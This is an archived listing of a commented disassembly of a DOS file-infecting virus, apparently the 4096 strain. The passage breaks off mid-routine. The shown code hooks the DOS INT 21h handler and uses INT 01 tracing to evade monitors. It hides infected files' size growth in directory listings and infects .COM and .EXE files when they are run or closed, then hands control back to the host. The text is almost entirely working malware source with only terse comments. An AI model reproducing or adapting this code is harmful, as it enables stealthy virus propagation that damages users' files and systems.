home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / 4096.ASM < prev    next >
Assembly Source File  |  1991-03-13  |  48KB  |  1,902 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                     ██
  6. ;██                VIR_                     ██
  7. ;██                                     ██
  8. ;██     Created:  ??-??-??                         ██
  9. ;██     Version:                             ██
  10. ;██     Code type: zero start                         ██
  11. ;██     Passes:    9           Analysis Options on: A             ██
  12. ;██                                     ██
  13. ;██     Disassembled by: Sir John -- 11.MAR.1991             ██
  14. ;██                                     ██
  15. ;██████████████████████████████████████████████████████████████████████████
  16.  
  17. PSP_0A        equ    0Ah            ; (0000:000A=0)
  18. MCB_0000    equ    0            ; (7DBC:0000=E9)
  19. MCB_0001    equ    1            ; (7DBC:0001=275h)
  20. MCB_0003    equ    3            ; (7DBC:0003=1503h)
  21. all_len     equ    1600h
  22. jmp_len     equ    3
  23. sav_file    equ    data_23 - virus_entry + jmp_len
  24.  
  25. seg_a        segment byte public
  26.         assume    cs:seg_a, ds:seg_a
  27.  
  28.         org    0
  29.  
  30.         db     00h
  31.  
  32.         jmp    vir_1
  33. data_23     dw    20CDh        ; old file
  34. data_24     dw    0        ; (first 6 bytes)
  35. data_25     dw    0        ; - check sum
  36.         db    0,0,0,0,0,0,0,0
  37. data_27     dw    0        ; + 0eh = original SS:
  38. data_28     dw    0        ; + 10h = original SP
  39.         dw    0
  40. data_29     dd    0        ; + 14h = .EXE file entry point
  41.         db    0,0,0,0
  42. data_31     db    0        ; flag : 1-EXE, 0-COM
  43. data_32     db    0FEh
  44.         db     3Ah
  45. debug:        push    bp        ;address is 0023
  46.         mov    bp,sp
  47.         push    ax
  48.         cmp    [bp+4],0C000h
  49.         jae    loc_1_1     ; segment > C000
  50.         mov    ax,cs:data_68
  51.         cmp    [bp+4],ax
  52.         jna    loc_1_1
  53. loc_1:        pop    ax
  54.         pop    bp
  55.         iret                ; Interrupt return
  56. loc_1_1:    cmp    byte ptr cs:data_73,1    ; (CS:1250=0)
  57.         je    loc_3            ; Jump if equal
  58.         mov    ax,[bp+4]
  59.         mov    word ptr cs:old_INT+2,ax  ; (CS:122F=70h)
  60.         mov    ax,[bp+2]
  61.         mov    word ptr cs:old_INT,ax      ; (CS:122D=0)
  62.         jc    loc_2            ; Jump if carry Set
  63.         pop    ax
  64.         pop    bp
  65.         mov    ss,cs:data_92        ; (CS:12DD=151Ch)
  66.         mov    sp,cs:data_93        ; (CS:12DF=0)
  67.         mov    al,cs:data_97        ; (CS:12E5=0)
  68.         out    21h,al            ; port 21h, 8259-1 int comands
  69.         jmp    loc_79            ; (0D40)
  70. loc_2:
  71.         and    word ptr [bp+6],0FEFFh
  72.         mov    al,cs:data_97        ; (CS:12E5=0)
  73.         out    21h,al            ; port 21h, 8259-1 int comands
  74.         jmp    short loc_1        ; (0037)
  75. loc_3:
  76.         dec    cs:data_74        ; (CS:1251=0)
  77.         jnz    loc_1            ; Jump if not zero
  78.         and    word ptr [bp+6],0FEFFh
  79.         call    sub_21            ; Save REGS in vir's stack
  80.         call    sub_18            ; (0DBA)
  81.         lds    dx,cs:old_INT_1     ; (CS:1231=0) Load 32 bit ptr
  82.         mov    al,1
  83.         call    sub_27            ; Set INT 01 vector
  84.         call    sub_20            ; Restore regs from vir's stack
  85.         jmp    short loc_2        ; (0067)
  86.  
  87.  
  88. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  89. ;                   SUBROUTINE
  90. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  91.  
  92. sub_1        proc    near
  93.         push    ds
  94.         push    si
  95.         xor    si,si            ; Zero register
  96.         mov    ds,si
  97.         xor    ah,ah            ; Zero register
  98.         mov    si,ax
  99.         shl    si,1            ; Shift w/zeros fill
  100.         shl    si,1            ; Shift w/zeros fill
  101.         mov    bx,[si]
  102.         mov    es,[si+2]
  103.         pop    si
  104.         pop    ds
  105.         retn
  106. sub_1        endp
  107.  
  108. vir_1:        mov    cs:data_113,1600h    ; (CS:135B=0)
  109.         mov    cs:old_AX,ax        ; (CS:12E3=0)
  110.         mov    ah,30h
  111.         int    21h            ; DOS Services    ah=function 30h
  112.                         ;  get DOS version number ax
  113.         mov    cs:dos_ver,al        ; (CS:12EE=0)
  114.         mov    cs:old_DS,ds        ; (CS:1245=7DBDh)
  115.         mov    ah,52h
  116.         int    21h            ; DOS Services    ah=function 52h
  117.                         ;  get DOS data table ptr es:bx
  118.         mov    ax,es:[bx-2]
  119.         mov    cs:data_68,ax        ; (CS:1247=0)
  120.         mov    es,ax
  121.         mov    ax,es:[1]        ; (5200:0001=0FFFFh)
  122.         mov    cs:data_69,ax        ; (CS:1249=0)
  123.         push    cs
  124.         pop    ds
  125.         mov    al,1
  126.         call    sub_1            ; Get INT 01 vector
  127.         mov    word ptr old_INT_1,bx    ; (CS:1231=0)
  128.         mov    word ptr old_INT_1+2,es ; (CS:1233=70h)
  129.         mov    al,21h
  130.         call    sub_1            ; Get INT 21 vector
  131.         mov    word ptr old_INT,bx    ; (CS:122D=0)
  132.         mov    word ptr old_INT+2,es    ; (CS:122F=70h)
  133.         mov    byte ptr data_73,0    ; (CS:1250=0)
  134.         mov    dx,offset debug
  135.         mov    al,1
  136.         call    sub_27            ; Set INT 01 vector
  137.         pushf                ; Push flags
  138.         pop    ax
  139.         or    ax,100h
  140.         push    ax
  141.         in    al,21h            ; port 21h, 8259-1 int IMR
  142.         mov    data_97,al        ; (CS:12E5)
  143.         mov    al,0FFh
  144.         out    21h,al            ; port 21h, 8259-1 int comands
  145.         popf                ; Pop flags
  146.         mov    ah,52h
  147.         pushf                ; Push flags
  148.         call    dword ptr old_INT    ; (CS:122D)
  149.         pushf                ; Push flags
  150.         pop    ax
  151.         and    ax,0FEFFh
  152.         push    ax
  153.         popf                ; Pop flags
  154.         mov    al,data_97        ; (CS:12E5=0)
  155.         out    21h,al            ; port 21h, 8259-1 int comands
  156.         push    ds
  157.         lds    dx,old_INT_1        ; (CS:1231=0) Load 32 bit ptr
  158.         mov    al,1
  159.         call    sub_27            ; Set INT 01 vector
  160.         pop    ds
  161.         les    di,old_INT        ; (CS:122D=0) Load 32 bit ptr
  162.         mov    word ptr ptr_INT_21,di     ; (CS:1235=0)
  163.         mov    word ptr ptr_INT_21+2,es ; (CS:1237=70h)
  164.         mov    byte ptr data_70,0EAh    ; (CS:124B=0)
  165.         mov    data_71,offset INT_21    ; (CS:124C=0) (02CC)
  166.         mov    data_72,cs        ; (CS:124E=7DBDh)
  167.         call    sub_18            ; (0DBA)
  168.         mov    ax,4B00h
  169.         mov    data_95,ah        ; (CS:12E2=0)
  170.         mov    dx,offset data_32    ; (CS:0021=0FEh)
  171.         push    word ptr data_31    ; (CS:0020=0FE00h)
  172.         int    21h            ; DOS Services    ah=function 4Bh
  173.                         ;  run progm @ds:dx, parm @es:bx
  174.         pop    word ptr data_31    ; (CS:0020=0FE00h)
  175.         add    word ptr es:[di-4],9
  176.         nop
  177.         mov    es,old_DS        ; (CS:1245)
  178.         mov    ds,old_DS        ; (CS:1245)
  179.         sub    word ptr ds:[2],161h    ; decrement mem size
  180.         mov    bp,word ptr ds:[2]    ; mem size
  181.         mov    dx,ds
  182.         sub    bp,dx
  183.         mov    ah,4Ah
  184.         mov    bx,0FFFFh
  185.         int    21h            ; DOS Services    ah=function 4Ah
  186.                         ;  change mem allocation, bx=siz
  187.         mov    ah,4Ah
  188.         int    21h            ; DOS Services    ah=function 4Ah
  189.                         ;  change mem allocation, bx=siz
  190.         dec    dx
  191.         mov    ds,dx
  192.         cmp    byte ptr ds:[MCB_0000],5Ah ; (7DBC:0000=0E9h) 'Z'
  193.         je    loc_4            ; Jump if equal
  194.         dec    cs:data_95        ; (CS:12E2=0)
  195. loc_4:
  196.         cmp    byte ptr cs:data_95,0    ; (CS:12E2=0)
  197.         je    loc_5            ; Jump if equal
  198.         mov    byte ptr ds:[MCB_0000],4Dh ; (7DBC:0000=0E9h) 'M'
  199. loc_5:
  200.         mov    ax,ds:MCB_0003        ; (7DBC:0003=1503h)
  201.         mov    bx,ax
  202.         sub    ax,161h
  203.         add    dx,ax
  204.         mov    ds:MCB_0003,ax        ; (7DBC:0003=1503h)
  205.         inc    dx
  206.         mov    es,dx
  207.         mov    byte ptr es:MCB_0000,5Ah    ; (915F:0000=0) 'Z'
  208.         push    cs:data_69            ; (CS:1249=0)
  209.         pop    word ptr es:MCB_0001        ; (915F:0001=0)
  210.         mov    word ptr es:MCB_0003,160h    ; (915F:0003=0)
  211.         inc    dx
  212.         mov    es,dx
  213.         push    cs
  214.         pop    ds
  215.         mov    cx,all_len/2
  216.         mov    si,all_len-2        ; (CS:15FE=0)
  217.         mov    di,si
  218.         std                ; Set direction flag
  219.         rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
  220.         cld                ; Clear direction
  221.         push    es
  222.         mov    ax,offset loc_1EE
  223.         push    ax
  224.         mov    es,cs:old_DS        ; (CS:1245=7DBDh)
  225.         mov    ah,4Ah            ; 'J'
  226.         mov    bx,bp
  227.         int    21h            ; DOS Services    ah=function 4Ah
  228.                         ;  change mem allocation, bx=siz
  229.         retf                ; Return far - jump to loc_1EE
  230. loc_1EE:    call    sub_18            ; (0DBA)
  231.         mov    cs:data_72,cs        ; (CS:124E=7DBDh)
  232.         call    sub_18            ; (0DBA)
  233.         push    cs
  234.         pop    ds
  235.         mov    byte ptr data_76,14h    ; (CS:12A2=0)
  236.         push    cs
  237.         pop    es
  238.         mov    di,offset data_75    ; (CS:1252=0)
  239.         mov    cx,14h
  240.         xor    ax,ax            ; Zero register
  241.         rep    stosw            ; Rep when cx >0 Store ax to es:[di]
  242.         mov    data_103,al        ; (CS:12EF=0)
  243.         mov    ax,old_DS        ; (CS:1245=7DBDh)
  244.         mov    es,ax
  245.         lds    dx,es:[0Ah]        ; from offset 000A in PSP Load 32 bit ptr
  246.         mov    ds,ax
  247.         add    ax,10h
  248.         add    word ptr cs:data_29+2,ax ; (CS:001A=1ED5h)
  249.         cmp    byte ptr cs:data_31,0     ; (CS:0020=0)
  250.         jne    loc_6            ; Jump if not equal
  251. ; restore infected .COM file and run it
  252.         sti                ; Enable interrupts
  253.         mov    ax,cs:data_23        ; (CS:0004=20CDh)
  254.         mov    word ptr ds:[100h],ax    ; (CS:0100=0E9Ah)
  255.         mov    ax,cs:data_24        ; (CS:0006=340h)
  256.         mov    word ptr ds:[102h],ax    ; (CS:0102=589Ch)
  257.         mov    ax,cs:data_25        ; (CS:0008=50C6h)
  258.         mov    word ptr ds:[104h],ax    ; (CS:0104=0Dh)
  259.         push    cs:old_DS        ; (CS:1245=7DBDh)
  260.         mov    ax,100h
  261.         push    ax
  262.         mov    ax,cs:old_AX        ; (CS:12E3=0)
  263.         retf                ; Return far
  264. loc_6:
  265. ; restore infected .EXE file and run it
  266.         add    cs:data_27,ax        ; (CS:0012=68Ch)
  267.         mov    ax,cs:old_AX        ; (CS:12E3=0)
  268.         mov    ss,cs:data_27        ; (CS:0012=68Ch)
  269.         mov    sp,cs:data_28        ; (CS:0014) original SP
  270.         sti                ; Enable interrupts
  271.         jmp    cs:data_29        ; (CS:0018=12Bh)
  272. virus_entry:    cmp    sp,100h
  273.         ja    loc_7            ; Jump if above
  274.         xor    sp,sp            ; Zero register
  275. loc_7:
  276.         mov    bp,ax
  277.         call    sub_2            ; (0275)
  278. sub_2:        pop    cx
  279.         sub    cx,offset sub_2
  280.         mov    ax,cs
  281.         mov    bx,10h
  282.         mul    bx            ; dx:ax = ax * 10
  283.         add    ax,cx            ; cx = virus begin address
  284.         adc    dx,0
  285.         div    bx            ; ax,dx rem=dx:ax/10
  286.         push    ax            ; ax = new segment
  287.         mov    ax,offset vir_1
  288.         push    ax
  289.         mov    ax,bp
  290.         retf                ; Return far - jump to vir_1
  291.  
  292. table        db     30h
  293.         dw    offset _21_30
  294.         db     23h
  295.         dw    offset _21_23
  296.         db     37h
  297.         dw    offset _21_37
  298.         db     4bh
  299.         dw    offset _21_4B
  300.         db     3ch
  301.         dw    offset _21_3C
  302.         db     3dh
  303.         dw    offset _21_3D
  304.         db     3Eh
  305.         dw    offset _21_3E
  306.         db     0Fh
  307.         dw    offset _21_0F
  308.         db     14h
  309.         dw    offset _21_14
  310.         db     21h
  311.         dw    offset _21_21
  312.         db     27h
  313.         dw    offset _21_27
  314.         db     11h
  315.         dw    offset _21_11_12
  316.         db     12h
  317.         dw    offset _21_11_12
  318.         db     4Eh
  319.         dw    offset _21_4E_4F
  320.         db     4Fh
  321.         dw    offset _21_4E_4F
  322.         db     3Fh
  323.         dw    offset _21_3F
  324.         db     40h
  325.         dw    offset _21_40
  326.         db     42h
  327.         dw    offset _21_42
  328.         db     57h
  329.         dw    offset _21_57
  330.         db     48h
  331.         dw    offset _21_48
  332. end_tbl:
  333. INT_21:     cmp    ax,4b00h
  334.         jnz    loc_8_1
  335.         mov    cs:data_95,al
  336. loc_8_1:    push    bp
  337.         mov    bp,sp
  338.         push    [bp+6]            ; flags
  339.         pop    cs:data_85
  340.         pop    bp            ;  ???
  341.         push    bp            ;  ???
  342.         mov    bp,sp
  343.         call    sub_21            ; Save REGS in vir's stack
  344.         call    sub_18            ; xchg info in INT 21
  345.         call    sub_15            ; BREAK = OFF
  346.         call    sub_20            ; Restore regs from vir's stack
  347.         call    sub_17            ; Save REGS
  348.         push    bx
  349.         mov    bx,offset table
  350. loc_8:
  351.         cmp    ah,cs:[bx]
  352.         jne    loc_9            ; Jump if not equal
  353.         mov    bx,cs:[bx+1]
  354.         xchg    bx,[bp-14h]
  355.         cld                ; Clear direction
  356.         retn
  357. loc_9:
  358.         add    bx,3
  359.         cmp    bx,offset end_tbl
  360.         jb    loc_8            ; Jump if below
  361.         pop    bx
  362. loc_10:
  363.         call    sub_16            ; Restore BREAK state
  364.         in    al,21h            ; port 21h, 8259-1 int IMR
  365.         mov    cs:data_97,al        ; (CS:12E5=0)
  366.         mov    al,0FFh
  367.         out    21h,al            ; port 21h, 8259-1 int comands
  368.         mov    byte ptr cs:data_74,4    ; (CS:1251=0)
  369.         mov    byte ptr cs:data_73,1    ; (CS:1250=0)
  370.         call    sub_22            ; Set INT 01 for debuging
  371.         call    sub_19            ; Restore REGS
  372.         push    ax
  373.         mov    ax,cs:data_85        ; (CS:12B3=0)
  374.         or    ax,100h
  375.         push    ax
  376.         popf                ; Pop flags
  377.         pop    ax
  378.         pop    bp
  379.         jmp    dword ptr cs:ptr_INT_21 ; (CS:1235=0)
  380. loc_11:
  381.         call    sub_21            ; Save REGS in vir's stack
  382.         call    sub_16            ; (0D9B)
  383.         call    sub_18            ; (0DBA)
  384.         call    sub_20            ; Restore regs from vir's stack
  385.         pop    bp
  386.         push    bp
  387.         mov    bp,sp
  388.         push    cs:data_85        ; (CS:12B3=0)
  389.         pop    word ptr [bp+6]
  390.         pop    bp
  391.         iret                ; Interrupt return
  392. _21_11_12:    call    sub_19            ; Restore REGS
  393.         call    sub_24            ; INT 21
  394.         or    al,al            ; Zero ?
  395.         jnz    loc_11            ; Jump if not zero
  396.         call    sub_17            ; Save REGS
  397.         call    sub_3            ; (0581)
  398.         mov    al,0
  399.         cmp    byte ptr [bx],0FFh
  400.         jne    loc_12            ; Jump if not equal
  401.         mov    al,[bx+6]
  402.         add    bx,7
  403. loc_12:
  404.         and    cs:data_104,al        ; (CS:12F0=0)
  405.         test    byte ptr [bx+1Ah],80h
  406.         jz    loc_13            ; Jump if zero
  407.         sub    byte ptr [bx+1Ah],0C8h
  408.         cmp    byte ptr cs:data_104,0    ; (CS:12F0=0)
  409.         jne    loc_13            ; Jump if not equal
  410.         sub    word ptr [bx+1Dh],1000h
  411.         sbb    word ptr [bx+1Fh],0
  412. loc_13:
  413.         call    sub_19            ; Restore REGS
  414.         jmp    short loc_11        ; (033F)
  415. _21_0F:     call    sub_19            ; Restore REGS
  416.         call    sub_24            ; INT 21
  417.         call    sub_17            ; Save REGS
  418.         or    al,al            ; Zero ?
  419.         jnz    loc_13            ; Jump if not zero
  420.         mov    bx,dx
  421.         test    byte ptr [bx+15h],80h
  422.         jz    loc_13            ; Jump if zero
  423.         sub    byte ptr [bx+15h],0C8h
  424.         sub    word ptr [bx+10h],1000h
  425.         sbb    byte ptr [bx+12h],0
  426.         jmp    short loc_13        ; (0396)
  427. _21_27:     jcxz    loc_15            ; Jump if cx=0
  428. _21_21:     mov    bx,dx
  429.         mov    si,[bx+21h]
  430.         or    si,[bx+23h]
  431.         jnz    loc_15            ; Jump if not zero
  432.         jmp    short loc_14        ; (03D7)
  433. _21_14:     mov    bx,dx
  434.         mov    ax,[bx+0Ch]
  435.         or    al,[bx+20h]
  436.         jnz    loc_15            ; Jump if not zero
  437. loc_14:
  438.         call    sub_7            ; (0919)
  439.         jnc    loc_16            ; Jump if carry=0
  440. loc_15:
  441.         jmp    loc_10            ; (030F)
  442. loc_16:
  443.         call    sub_19            ; Restore REGS
  444.         call    sub_17            ; Save REGS
  445.         call    sub_24            ; INT 21
  446.         mov    [bp-4],ax
  447.         mov    [bp-8],cx
  448.         push    ds
  449.         push    dx
  450.         call    sub_3            ; (0581)
  451.         cmp    word ptr [bx+14h],1
  452.         je    loc_17            ; Jump if equal
  453.         mov    ax,[bx]
  454.         add    ax,[bx+2]
  455.         add    ax,[bx+4]
  456.         jz    loc_17            ; Jump if zero
  457.         add    sp,4
  458.         jmp    short loc_13        ; (0396)
  459. loc_17:
  460.         pop    dx
  461.         pop    ds
  462.         mov    si,dx
  463.         push    cs
  464.         pop    es
  465.         mov    di,offset data_86    ; (CS:12B5=0)
  466.         mov    cx,25h
  467.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  468.         mov    di,offset data_86    ; (CS:12B5=0)
  469.         push    cs
  470.         pop    ds
  471.         mov    ax,[di+10h]
  472.         mov    dx,[di+12h]
  473.         add    ax,100Fh
  474.         adc    dx,0
  475.         and    ax,0FFF0h
  476.         mov    [di+10h],ax
  477.         mov    [di+12h],dx
  478.         sub    ax,0FFCh
  479.         sbb    dx,0
  480.         mov    [di+21h],ax
  481.         mov    [di+23h],dx
  482.         mov    word ptr [di+0Eh],1
  483.         mov    cx,1Ch
  484.         mov    dx,di
  485.         mov    ah,27h            ; '''
  486.         call    sub_24            ; INT 21
  487.         jmp    loc_13            ; (0396)
  488. _21_23:     push    cs
  489.         pop    es
  490.         mov    si,dx
  491.         mov    di,offset data_86    ; (CS:12B5=0)
  492.         mov    cx,25h
  493.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  494.         push    ds
  495.         push    dx
  496.         push    cs
  497.         pop    ds
  498.         mov    dx,offset data_86    ; CS:12B5
  499.         mov    ah,0Fh
  500.         call    sub_24            ; INT 21
  501.         mov    ah,10h
  502.         call    sub_24            ; INT 21
  503.         test    byte ptr data_89,80h    ; (CS:12CA=0)
  504.         pop    si
  505.         pop    ds
  506.         jz    loc_20            ; Jump if zero
  507.         les    bx,cs:data_88        ; (CS:12C5=0) Load 32 bit ptr
  508.         mov    ax,es
  509.         sub    bx,1000h
  510.         sbb    ax,0
  511.         xor    dx,dx            ; Zero register
  512.         mov    cx,cs:data_87        ; (CS:12C3=0)
  513.         dec    cx
  514.         add    bx,cx
  515.         adc    ax,0
  516.         inc    cx
  517.         div    cx            ; ax,dx rem=dx:ax/reg
  518.         mov    [si+23h],ax
  519.         xchg    ax,dx
  520.         xchg    ax,bx
  521.         div    cx            ; ax,dx rem=dx:ax/reg
  522.         mov    [si+21h],ax
  523.         jmp    loc_13            ; (0396)
  524. _21_4E_4F:    and    cs:data_85,0FFFEh    ; (CS:12B3=0)
  525.         call    sub_19            ; Restore REGS
  526.         call    sub_24            ; INT 21
  527.         call    sub_17            ; Save REGS
  528.         jnc    loc_18            ; Jump if carry=0
  529.         or    cs:data_85,1        ; (CS:12B3=0)
  530.         jmp    loc_13            ; (0396)
  531. loc_18:
  532.         call    sub_3            ; (0581)
  533.         test    byte ptr [bx+19h],80h
  534.         jnz    loc_19            ; Jump if not zero
  535.         jmp    loc_13            ; (0396)
  536. loc_19:
  537.         sub    word ptr [bx+1Ah],1000h
  538.         sbb    word ptr [bx+1Ch],0
  539.         sub    byte ptr [bx+19h],0C8h
  540.         jmp    loc_13            ; (0396)
  541. _21_3C:     push    cx
  542.         and    cx,7
  543.         cmp    cx,7
  544.         je    loc_23            ; Jump if equal
  545.         pop    cx
  546.         call    sub_13            ; (0CC6)
  547.         call    sub_24            ; INT 21
  548.         call    sub_14            ; (0D6C)
  549.         pushf                ; Push flags
  550.         cmp    byte ptr cs:data_90,0    ; (CS:12DA=0)
  551.         je    loc_21            ; Jump if equal
  552.         popf                ; Pop flags
  553. loc_20:
  554.         jmp    loc_10            ; (030F)
  555. loc_21:
  556.         popf                ; Pop flags
  557.         jc    loc_22            ; Jump if carry Set
  558.         mov    bx,ax
  559.         mov    ah,3Eh            ; '>'
  560.         call    sub_24            ; INT 21
  561.         jmp    short _21_3D        ; (0511)
  562. loc_22:
  563.         or    byte ptr cs:data_85,1    ; (CS:12B3=0)
  564.         mov    [bp-4],ax
  565.         jmp    loc_13            ; (0396)
  566. loc_23:
  567.         pop    cx
  568.         jmp    loc_10            ; (030F)
  569. _21_3D:
  570.         call    sub_9            ; Get PSP segment
  571.         call    sub_8            ; (0925)
  572.         jc    loc_26            ; Jump if carry Set
  573.         cmp    byte ptr cs:data_76,0    ; (CS:12A2=0)
  574.         je    loc_26            ; Jump if equal
  575.         call    sub_10            ; (097E)
  576.         cmp    bx,0FFFFh
  577.         je    loc_26            ; Jump if equal
  578.         dec    cs:data_76        ; (CS:12A2=0)
  579.         push    cs
  580.         pop    es
  581.         mov    di,offset data_75    ; (CS:1252=0)
  582.         mov    cx,14h
  583.         xor    ax,ax            ; Zero register
  584.         repne    scasw            ; Rep zf=0+cx >0 Scan es:[di] for ax
  585.         mov    ax,cs:data_77        ; (CS:12A3=0)
  586.         mov    es:[di-2],ax
  587.         mov    es:[di+26h],bx
  588.         mov    [bp-4],bx
  589. loc_25:
  590.         and    byte ptr cs:data_85,0FEh    ; (CS:12B3=0)
  591.         jmp    loc_13            ; (0396)
  592. loc_26:
  593.         jmp    loc_10            ; (030F)
  594. _21_3E:     push    cs
  595.         pop    es
  596.         call    sub_9            ; Get PSP segment
  597.         mov    di,offset data_75    ; (CS:1252=0)
  598.         mov    cx,14h
  599.         mov    ax,cs:data_77        ; (CS:12A3=0)
  600. loc_27:
  601.         repne    scasw            ; Rep zf=0+cx >0 Scan es:[di] for ax
  602.         jnz    loc_28            ; Jump if not zero
  603.         cmp    bx,es:[di+26h]
  604.         jne    loc_27            ; Jump if not equal
  605.         mov    word ptr es:[di-2],0
  606.         call    sub_4            ; (0793) - infect file
  607.         inc    cs:data_76        ; (CS:12A2=0)
  608.         jmp    short loc_25        ; (0549)
  609. loc_28:
  610.         jmp    loc_10            ; (030F)
  611.  
  612. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  613. ;                   SUBROUTINE
  614. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  615.  
  616. sub_3        proc    near
  617.         push    es
  618.         mov    ah,2Fh            ; '/'
  619.         call    sub_24            ; INT 21
  620.         push    es
  621.         pop    ds
  622.         pop    es
  623.         retn
  624. sub_3        endp
  625.  
  626. _21_4B:     or    al,al            ; Zero ?
  627.         jz    loc_29            ; Jump if zero
  628.         jmp    loc_36            ; (06E0)
  629. loc_29:
  630.         push    ds
  631.         push    dx
  632.         mov    cs:prm_blck_adr,bx    ; (CS:1224) save EXEC block offset
  633.         mov    word ptr cs:prm_blck_adr+2,es ; (CS:1226) save EXEC block segment
  634.         lds    si,dword ptr cs:prm_blck_adr  ; (CS:1224) Load EXEC block address
  635.         mov    di,offset exec_block     ; (CS:12F1)
  636.         mov    cx,0Eh
  637.         push    cs
  638.         pop    es
  639.         rep    movsb            ; Save EXEC param block
  640.         pop    si
  641.         pop    ds
  642.         mov    di,offset file_name    ; (CS:1307)
  643.         mov    cx,50h
  644.         rep    movsb            ; Save file name
  645.         mov    bx,0FFFFh
  646.         call    sub_23            ; (0E3A)
  647.         call    sub_19            ; Restore REGS
  648.         pop    bp
  649.         pop    cs:data_98        ; (CS:12E6=0)
  650.         pop    cs:data_99        ; (CS:12E8=0)
  651.         pop    cs:data_85        ; (CS:12B3=0)
  652.         mov    ax,4B01h
  653.         push    cs
  654.         pop    es
  655.         mov    bx,offset exec_block
  656.         pushf                ; Push flags
  657.         call    dword ptr cs:ptr_INT_21 ; (CS:1235=0)
  658.         jnc    loc_30            ; Jump if carry=0
  659.         or    cs:data_85,1        ; (CS:12B3=0)
  660.         push    cs:data_85        ; (CS:12B3=0)
  661.         push    cs:data_99        ; (CS:12E8=0)
  662.         push    cs:data_98        ; (CS:12E6=0)
  663.         push    bp
  664.         mov    bp,sp
  665.         les    bx,dword ptr cs:prm_blck_adr ; (CS:1224=0) Load 32 bit ptr
  666.         jmp    loc_11            ; (033F)
  667. loc_30:
  668.         call    sub_9            ; Get PSP segment
  669.         push    cs
  670.         pop    es
  671.         mov    di,offset data_75    ; (CS:1252=0)
  672.         mov    cx,14h
  673. loc_31:
  674.         mov    ax,cs:data_77        ; (CS:12A3=0)
  675.         repne    scasw            ; Rep zf=0+cx >0 Scan es:[di] for ax
  676.         jnz    loc_32            ; Jump if not zero
  677.         mov    word ptr es:[di-2],0
  678.         inc    cs:data_76        ; (CS:12A2=0)
  679.         jmp    short loc_31        ; (060B)
  680. loc_32:
  681.         lds    si,cs:entry_point    ; (CS:1303=0) Load 32 bit ptr
  682.         cmp    si,1            ; already infected?
  683.         jne    loc_33            ; Jump if not equal
  684.         mov    dx,word ptr ds:data_29+2 ; (0000:001A) - original entry point segment
  685.         add    dx,10h
  686.         mov    ah,51h
  687.         call    sub_24            ; INT 21 - get PSP segment
  688.         add    dx,bx
  689.         mov    word ptr cs:entry_point+2,dx ; (CS:1305=0)
  690.         push    word ptr ds:data_29    ; (0000:0018) - original entry point offset
  691.         pop    word ptr cs:entry_point ; (CS:1303=0)
  692.         add    bx,10h
  693.         add    bx,ds:data_27        ; (0000:0012) - original SS:
  694.         mov    cs:data_107,bx        ; (CS:1301=0)
  695.         push    word ptr ds:data_28    ; (0000:0014) - original SP
  696.         pop    cs:data_106        ; (CS:12FF=0)
  697.         jmp    short loc_34        ; (067F)
  698. loc_33:
  699.         mov    ax,[si]
  700.         add    ax,[si+2]
  701.         add    ax,[si+4]
  702.         jz    loc_35            ; Jump if zero
  703.         push    cs
  704.         pop    ds
  705.         mov    dx,offset file_name
  706.         call    sub_8            ; (0925)
  707.         call    sub_10            ; (097E)
  708.         inc    cs:data_103        ; (CS:12EF=0)
  709.         call    sub_4            ; infect file
  710.         dec    cs:data_103        ; (CS:12EF=0)
  711. loc_34:
  712.         mov    ah,51h
  713.         call    sub_24            ; INT 21
  714.         call    sub_21            ; Save REGS in vir's stack
  715.         call    sub_16            ; (0D9B)
  716.         call    sub_18            ; (0DBA)
  717.         call    sub_20            ; Restore REGS from vir's stack
  718.         mov    ds,bx
  719.         mov    es,bx
  720.         push    cs:data_85        ; (CS:12B3=0)
  721.         push    cs:data_99        ; (CS:12E8=0)
  722.         push    cs:data_98        ; (CS:12E6=0)
  723.         pop    word ptr ds:PSP_0A    ; offset 0A in PSP
  724.         pop    word ptr ds:PSP_0A+2    ; offset 0C in PSP
  725.         push    ds
  726.         lds    dx,dword ptr ds:PSP_0A    ; offset 0A in PSP - terminate address
  727.         mov    al,22h
  728.         call    sub_27            ; Set INT 22 vector
  729.         pop    ds
  730.         popf                ; Pop flags
  731.         pop    ax
  732.         mov    ss,cs:data_107        ; (CS:1301=0)
  733.         mov    sp,cs:data_106        ; (CS:12FF=0)
  734.         jmp    dword ptr cs:entry_point ; (CS:1303=0)
  735. loc_35:
  736.         mov    bx,[si+1]
  737.         mov    ax,ds:[bx+si+sav_file]     ; (0000:FD9F)
  738.         mov    [si],ax
  739.         mov    ax,ds:[bx+si+sav_file+2] ; (0000:FDA1)
  740.         mov    [si+2],ax
  741.         mov    ax,ds:[bx+si+sav_file+4] ; (0000:FDA3)
  742.         mov    [si+4],ax
  743.         jmp    short loc_34        ; (067F)
  744. loc_36:
  745.         cmp    al,1
  746.         je    loc_37            ; Jump if equal
  747.         jmp    loc_10            ; (030F)
  748. loc_37:
  749.         or    cs:data_85,1        ; (CS:12B3=0)
  750.         mov    cs:prm_blck_adr,bx    ; (CS:1224=0)
  751.         mov    word ptr cs:prm_blck_adr+2,es ; (CS:1226=7DBDh)
  752.         call    sub_19            ; Restore REGS
  753.         call    sub_24            ; INT 21
  754.         call    sub_17            ; Save REGS
